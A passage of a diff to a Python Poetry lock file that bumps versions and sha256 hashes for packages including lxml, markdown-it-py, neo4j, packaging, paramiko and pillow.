"lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137"}, + {file = "lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf"}, + {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee"}, + {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e"}, + {file = "lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1"}, + {file = "lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e"}, + {file = "lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c"}, + {file = "lxml-6.1.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6689e828a94eee4f139408c337bb198e014724bb8a8c26d3cfac49d119ed69a6"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bdebcc8a75d38c7598dfb2c9ed852d7a9eb4a10d6e2d0764b919b802bf32ac88"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8be8ad51249698103d24b0571df35a10990fbe93dd043b6c024172189485f5e3"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux_2_28_i686.whl", hash = "sha256:76447f65250ed2501ead1a1552f5ce8edff159a86f308348e6a9c4acb5e1f1b4"}, + {file = "lxml-6.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ffecec8eb889b58ba9be5b95fb1cc78e22ea8eedea38e8736a1568fe1979250e"}, + {file = "lxml-6.1.1-cp38-cp38-win32.whl", hash = "sha256:c674693f055fa2495de12292cb45e9944199d8eaef5a2dec45175c7c61cb73e3"}, + {file = "lxml-6.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:55b03549819867ea141c0202242c4816c82e52ec36e7e648db9d8da5a3dc3ed6"}, + {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c9f79d5325907f13e1be0b3e4dacc1049d1dffc4aeee3c995284bea5fe0fab7d"}, + {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:83b6b30eb131da7a75b601f28c5d6971e6ed3e887919bf6b6a1ad3c2df289080"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:441dd227fa0690eb9fc81edabc63cdcefc212bba99b906dcf6e32cc1a9d3e533"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e07c65f443c887bbcf31cc1771d932ecc192a5273943589b3c7572b749f1ffb2"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5bec7d03d78d853597d6107854c2310ce3f761fd218fe9fe91d5101fcf6c2efe"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f76acfb5f68ba982635a53fd985a8044be98a35b43232c2a1ee235ffab3e1dd"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:8d43ca737b20e106e4aebc42b2f3ae19f00ba63d7eb731698ee083d72d15646f"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:32ab449a5486f6c758e849bb86710d0e45edc24a04e250c01555f8f5653958f8"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53c909b62a0532183542fed00c5a7218258c56292d409bc789886fe1cb04c438"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:640f97d43d867bcb9c75b3af013b64850756b746cb6bce8ace83b70da3abba9d"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:469e3618338bd7ab5beb412d2439825479fcf0dab99e394ca563dbc4eaf6c834"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:aae97dfdb60715c164419ac2532a76d013c3918a665eb6cb7288098b5f349aaf"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c9a4b821dc7055bf9e05ff5719e18ec501f75c0f0bbfabd573b277559780833d"}, + {file = "lxml-6.1.1-cp39-cp39-win32.whl", hash = "sha256:639f6c857d91d9be29bd7502348d6736dab168b54b5158cd899abf11684dc186"}, + {file = "lxml-6.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:34c2d737beabfe35baada43941ed519251e9a12e779031496bcd5d539fcfd730"}, + {file = "lxml-6.1.1-cp39-cp39-win_arm64.whl", hash = "sha256:07a4a68e286ee7a1ed7dfb8af83e615757c0ccfe9f18c6b4ea6771388d9ba8c9"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84"}, + {file = "lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40"}, ] [package.extras] @@ -1433,14 +1398,14 @@ htmlsoup = ["BeautifulSoup4"] [[package]] name = "markdown-it-py" -version = "4.0.0" +version = "4.2.0" description = "Python port of markdown-it. Markdown parsing, done right!" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, - {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, + {file = "markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a"}, + {file = "markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49"}, ] [package.dependencies] @@ -1453,7 +1418,7 @@ linkify = ["linkify-it-py (>=1,<3)"] plugins = ["mdit-py-plugins (>=0.5.0)"] profiling = ["gprof2dot"] rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] -testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "pytest-timeout", "requests"] [[package]] name = "markupsafe" @@ -1654,14 +1619,14 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "6.1.0" +version = "6.2.0" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "neo4j-6.1.0-py3-none-any.whl", hash = "sha256:3bd93941f3a3559af197031157220af9fd71f4f93a311db687bd69ffa417b67d"}, - {file = "neo4j-6.1.0.tar.gz", hash = "sha256:b5dde8c0d8481e7b6ae3733569d990dd3e5befdc5d452f531ad1884ed3500b84"}, + {file = "neo4j-6.2.0-py3-none-any.whl", hash = "sha256:b87abdd13a5cc2e3bd51026926c2f20ac38fa3febe98c340520dce19e97388d0"}, + {file = "neo4j-6.2.0.tar.gz", hash = "sha256:e1e246b65b572bd8ea97f9e0e721b7d40a5ce53e53d0007c29aef63e4f9124d9"}, ] [package.dependencies] @@ -1669,8 +1634,8 @@ pytz = "*" [package.extras] numpy = ["numpy (>=1.21.2,<3.0.0)"] -pandas = ["numpy (>=1.21.2,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] -pyarrow = ["pyarrow (>=6.0.0,<23.0.0)"] +pandas = ["numpy (>=1.21.2,<3.0.0)", "pandas[timezone] (>=1.1.0,<4.0.0)"] +pyarrow = ["pyarrow (>=6.0.0,<25.0.0)"] [[package]] name = "netaddr" @@ -1704,26 +1669,26 @@ asn1crypto = ">=1.5.1" [[package]] name = "packaging" -version = "26.0" +version = "26.3" description = "Core utilities for Python packages" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, - {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, + {file = "packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c"}, + {file = "packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79"}, ] [[package]] name = "paramiko" -version = "4.0.0" +version = "5.0.0" description = "SSH2 protocol library" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "paramiko-4.0.0-py3-none-any.whl", hash = "sha256:0e20e00ac666503bf0b4eda3b6d833465a2b7aff2e2b3d79a8bba5ef144ee3b9"}, - {file = "paramiko-4.0.0.tar.gz", hash = "sha256:6a25f07b380cc9c9a88d2b920ad37167ac4667f8d9886ccebd8f90f654b5d69f"}, + {file = "paramiko-5.0.0-py3-none-any.whl", hash = "sha256:b7044611c30140d9a75261653210e2002977b71a0497ff3ba0d98d7edbf62f7c"}, + {file = "paramiko-5.0.0.tar.gz", hash = "sha256:36763b5b95c2a0dcfdf1abc48e48156ee425b21efe2f0e787c2dd5a95c0e5e79"}, ] [package.dependencies] @@ -1732,9 +1697,6 @@ cryptography = ">=3.3" invoke = ">=2.0" pynacl = ">=1.5" -[package.extras] -gssapi = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] - [[package]] name = "pefile" version = "2024.8.26" @@ -1749,103 +1711,99 @@ files = [ [[package]] name = "pillow" -version = "12.1.1" +version = "12.3.0" description = "Python Imaging Library (fork)" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "pillow-12.1.1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f1625b72740fdda5d77b4def688eb8fd6490975d06b909fd19f13f391e077e0"}, - {file = "pillow-12.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:178aa072084bd88ec759052feca8e56cbb14a60b39322b99a049e58090479713"}, - {file = "pillow-12.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b66e95d05ba806247aaa1561f080abc7975daf715c30780ff92a20e4ec546e1b"}, - {file = "pillow-12.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:89c7e895002bbe49cdc5426150377cbbc04767d7547ed145473f496dfa40408b"}, - {file = "pillow-12.1.1-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a5cbdcddad0af3da87cb16b60d23648bc3b51967eb07223e9fed77a82b457c4"}, - {file = "pillow-12.1.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f51079765661884a486727f0729d29054242f74b46186026582b4e4769918e4"}, - {file = "pillow-12.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99c1506ea77c11531d75e3a412832a13a71c7ebc8192ab9e4b2e355555920e3e"}, - {file = "pillow-12.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:36341d06738a9f66c8287cf8b876d24b18db9bd8740fa0672c74e259ad408cff"}, - {file = "pillow-12.1.1-cp310-cp310-win32.whl", hash = "sha256:6c52f062424c523d6c4db85518774cc3d50f5539dd6eed32b8f6229b26f24d40"}, - {file = "pillow-12.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:c6008de247150668a705a6338156efb92334113421ceecf7438a12c9a12dab23"}, - {file = "pillow-12.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:1a9b0ee305220b392e1124a764ee4265bd063e54a751a6b62eff69992f457fa9"}, - {file = "pillow-12.1.1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e879bb6cd5c73848ef3b2b48b8af9ff08c5b71ecda8048b7dd22d8a33f60be32"}, - {file = "pillow-12.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:365b10bb9417dd4498c0e3b128018c4a624dc11c7b97d8cc54effe3b096f4c38"}, - {file = "pillow-12.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d4ce8e329c93845720cd2014659ca67eac35f6433fd3050393d85f3ecef0dad5"}, - {file = "pillow-12.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc354a04072b765eccf2204f588a7a532c9511e8b9c7f900e1b64e3e33487090"}, - {file = "pillow-12.1.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7e7976bf1910a8116b523b9f9f58bf410f3e8aa330cd9a2bb2953f9266ab49af"}, - {file = "pillow-12.1.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:597bd9c8419bc7c6af5604e55847789b69123bbe25d65cc6ad3012b4f3c98d8b"}, - {file = "pillow-12.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2c1fc0f2ca5f96a3c8407e41cca26a16e46b21060fe6d5b099d2cb01412222f5"}, - {file = "pillow-12.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:578510d88c6229d735855e1f278aa305270438d36a05031dfaae5067cc8eb04d"}, - {file = "pillow-12.1.1-cp311-cp311-win32.whl", hash = "sha256:7311c0a0dcadb89b36b7025dfd8326ecfa36964e29913074d47382706e516a7c"}, - {file = "pillow-12.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:fbfa2a7c10cc2623f412753cddf391c7f971c52ca40a3f65dc5039b2939e8563"}, - {file = "pillow-12.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:b81b5e3511211631b3f672a595e3221252c90af017e399056d0faabb9538aa80"}, - {file = "pillow-12.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ab323b787d6e18b3d91a72fc99b1a2c28651e4358749842b8f8dfacd28ef2052"}, - {file = "pillow-12.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:adebb5bee0f0af4909c30db0d890c773d1a92ffe83da908e2e9e720f8edf3984"}, - {file = "pillow-12.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bb66b7cc26f50977108790e2456b7921e773f23db5630261102233eb355a3b79"}, - {file = "pillow-12.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aee2810642b2898bb187ced9b349e95d2a7272930796e022efaf12e99dccd293"}, - {file = "pillow-12.1.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a0b1cd6232e2b618adcc54d9882e4e662a089d5768cd188f7c245b4c8c44a397"}, - {file = "pillow-12.1.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7aac39bcf8d4770d089588a2e1dd111cbaa42df5a94be3114222057d68336bd0"}, - {file = "pillow-12.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ab174cd7d29a62dd139c44bf74b698039328f45cb03b4596c43473a46656b2f3"}, - {file = "pillow-12.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:339ffdcb7cbeaa08221cd401d517d4b1fe7a9ed5d400e4a8039719238620ca35"}, - {file = "pillow-12.1.1-cp312-cp312-win32.whl", hash = "sha256:5d1f9575a12bed9e9eedd9a4972834b08c97a352bd17955ccdebfeca5913fa0a"}, - {file = "pillow-12.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:21329ec8c96c6e979cd0dfd29406c40c1d52521a90544463057d2aaa937d66a6"}, - {file = "pillow-12.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:af9a332e572978f0218686636610555ae3defd1633597be015ed50289a03c523"}, - {file = "pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d242e8ac078781f1de88bf823d70c1a9b3c7950a44cdf4b7c012e22ccbcd8e4e"}, - {file = "pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:02f84dfad02693676692746df05b89cf25597560db2857363a208e393429f5e9"}, - {file = "pillow-12.1.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e65498daf4b583091ccbb2556c7000abf0f3349fcd57ef7adc9a84a394ed29f6"}, - {file = "pillow-12.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c6db3b84c87d48d0088943bf33440e0c42370b99b1c2a7989216f7b42eede60"}, - {file = "pillow-12.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8b7e5304e34942bf62e15184219a7b5ad4ff7f3bb5cca4d984f37df1a0e1aee2"}, - {file = "pillow-12.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:18e5bddd742a44b7e6b1e773ab5db102bd7a94c32555ba656e76d319d19c3850"}, - {file = "pillow-12.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc44ef1f3de4f45b50ccf9136999d71abb99dca7706bc75d222ed350b9fd2289"}, - {file = "pillow-12.1.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5a8eb7ed8d4198bccbd07058416eeec51686b498e784eda166395a23eb99138e"}, - {file = "pillow-12.1.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47b94983da0c642de92ced1702c5b6c292a84bd3a8e1d1702ff923f183594717"}, - {file = "pillow-12.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:518a48c2aab7ce596d3bf79d0e275661b846e86e4d0e7dec34712c30fe07f02a"}, - {file = "pillow-12.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a550ae29b95c6dc13cf69e2c9dc5747f814c54eeb2e32d683e5e93af56caa029"}, - {file = "pillow-12.1.1-cp313-cp313-win32.whl", hash = "sha256:a003d7422449f6d1e3a34e3dd4110c22148336918ddbfc6a32581cd54b2e0b2b"}, - {file = "pillow-12.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:344cf1e3dab3be4b1fa08e449323d98a2a3f819ad20f4b22e77a0ede31f0faa1"}, - {file = "pillow-12.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:5c0dd1636633e7e6a0afe7bf6a51a14992b7f8e60de5789018ebbdfae55b040a"}, - {file = "pillow-12.1.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0330d233c1a0ead844fc097a7d16c0abff4c12e856c0b325f231820fee1f39da"}, - {file = "pillow-12.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5dae5f21afb91322f2ff791895ddd8889e5e947ff59f71b46041c8ce6db790bc"}, - {file = "pillow-12.1.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2e0c664be47252947d870ac0d327fea7e63985a08794758aa8af5b6cb6ec0c9c"}, - {file = "pillow-12.1.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:691ab2ac363b8217f7d31b3497108fb1f50faab2f75dfb03284ec2f217e87bf8"}, - {file = "pillow-12.1.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9e8064fb1cc019296958595f6db671fba95209e3ceb0c4734c9baf97de04b20"}, - {file = "pillow-12.1.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:472a8d7ded663e6162dafdf20015c486a7009483ca671cece7a9279b512fcb13"}, - {file = "pillow-12.1.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:89b54027a766529136a06cfebeecb3a04900397a3590fd252160b888479517bf"}, - {file = "pillow-12.1.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:86172b0831b82ce4f7877f280055892b31179e1576aa00d0df3bb1bbf8c3e524"}, - {file = "pillow-12.1.1-cp313-cp313t-win32.whl", hash = "sha256:44ce27545b6efcf0fdbdceb31c9a5bdea9333e664cda58a7e674bb74608b3986"}, - {file = "pillow-12.1.1-cp313-cp313t-win_amd64.whl", hash = "sha256:a285e3eb7a5a45a2ff504e31f4a8d1b12ef62e84e5411c6804a42197c1cf586c"}, - {file = "pillow-12.1.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cc7d296b5ea4d29e6570dabeaed58d31c3fea35a633a69679fb03d7664f43fb3"}, - {file = "pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:417423db963cb4be8bac3fc1204fe61610f6abeed1580a7a2cbb2fbda20f12af"}, - {file = "pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:b957b71c6b2387610f556a7eb0828afbe40b4a98036fc0d2acfa5a44a0c2036f"}, - {file = "pillow-12.1.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:097690ba1f2efdeb165a20469d59d8bb03c55fb6621eb2041a060ae8ea3e9642"}, - {file = "pillow-12.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2815a87ab27848db0321fb78c7f0b2c8649dee134b7f2b80c6a45c6831d75ccd"}, - {file = "pillow-12.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:f7ed2c6543bad5a7d5530eb9e78c53132f93dfa44a28492db88b41cdab885202"}, - {file = "pillow-12.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:652a2c9ccfb556235b2b501a3a7cf3742148cd22e04b5625c5fe057ea3e3191f"}, - {file = "pillow-12.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d6e4571eedf43af33d0fc233a382a76e849badbccdf1ac438841308652a08e1f"}, - {file = "pillow-12.1.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b574c51cf7d5d62e9be37ba446224b59a2da26dc4c1bb2ecbe936a4fb1a7cb7f"}, - {file = "pillow-12.1.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a37691702ed687799de29a518d63d4682d9016932db66d4e90c345831b02fb4e"}, - {file = "pillow-12.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f95c00d5d6700b2b890479664a06e754974848afaae5e21beb4d83c106923fd0"}, - {file = "pillow-12.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:559b38da23606e68681337ad74622c4dbba02254fc9cb4488a305dd5975c7eeb"}, - {file = "pillow-12.1.1-cp314-cp314-win32.whl", hash = "sha256:03edcc34d688572014ff223c125a3f77fb08091e4607e7745002fc214070b35f"}, - {file = "pillow-12.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:50480dcd74fa63b8e78235957d302d98d98d82ccbfac4c7e12108ba9ecbdba15"}, - {file = "pillow-12.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:5cb1785d97b0c3d1d1a16bc1d710c4a0049daefc4935f3a8f31f827f4d3d2e7f"}, - {file = "pillow-12.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1f90cff8aa76835cba5769f0b3121a22bd4eb9e6884cfe338216e557a9a548b8"}, - {file = "pillow-12.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1f1be78ce9466a7ee64bfda57bdba0f7cc499d9794d518b854816c41bf0aa4e9"}, - {file = "pillow-12.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:42fc1f4677106188ad9a55562bbade416f8b55456f522430fadab3cef7cd4e60"}, - {file = "pillow-12.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:98edb152429ab62a1818039744d8fbb3ccab98a7c29fc3d5fcef158f3f1f68b7"}, - {file = "pillow-12.1.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d470ab1178551dd17fdba0fef463359c41aaa613cdcd7ff8373f54be629f9f8f"}, - {file = "pillow-12.1.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6408a7b064595afcab0a49393a413732a35788f2a5092fdc6266952ed67de586"}, - {file = "pillow-12.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5d8c41325b382c07799a3682c1c258469ea2ff97103c53717b7893862d0c98ce"}, - {file = "pillow-12.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c7697918b5be27424e9ce568193efd13d925c4481dd364e43f5dff72d33e10f8"}, - {file = "pillow-12.1.1-cp314-cp314t-win32.whl", hash = "sha256:d2912fd8114fc5545aa3a4b5576512f64c55a03f3ebcca4c10194d593d43ea36"}, - {file = 